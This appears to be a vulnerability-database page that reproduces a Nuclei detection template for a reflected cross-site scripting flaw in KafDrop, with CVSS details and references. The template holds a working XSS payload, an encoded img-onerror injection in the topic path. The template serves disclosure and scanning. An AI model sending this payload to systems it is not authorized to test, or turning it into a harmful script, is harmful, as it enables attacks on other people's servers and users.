kafdrop-xss: KafDrop - Cross-Site Scripting

2025-08-01 KafDrop PoC Public

Description

KafDrop contains a cross-site scripting vulnerability. It allows remote unauthenticated attackers to inject arbitrary HTML and/or JavaScript into the response returned by the server.

PoC

id: kafdrop-xss

info:
  name: KafDrop - Cross-Site Scripting
  author: dhiyaneshDk
  severity: high
  description: KafDrop contains a cross-site scripting vulnerability. It allows remote unauthenticated attackers to inject arbitrary HTML and/or JavaScript into the response returned by the server.
  reference:
    - https://github.com/HomeAdvisor/Kafdrop/issues/12
    - https://www.blackhatethicalhacking.com/news/apache-kafka-cloud-clusters-expose-sensitive-data-for-large-companies
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79,CWE-83
  metadata:
    max-request: 1
  tags: kafdrop,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/topic/e'%22%3E%3Cimg%20src=x%20onerror=alert(2)%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Kafdrop'
          - '<img src=x onerror=alert(2)>'
        part: body
        condition: and

      - type: status
        status:
          - 500
# digest: 4a0a00473045022100cf275052c6088548a8b25a8e6ed21b8ae2fe9f66195de559959d49fe35ee6ca3022044a41396e86fdda4840583e53a8182acaf99a75974ce57c4a34458d7e5fc6236:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities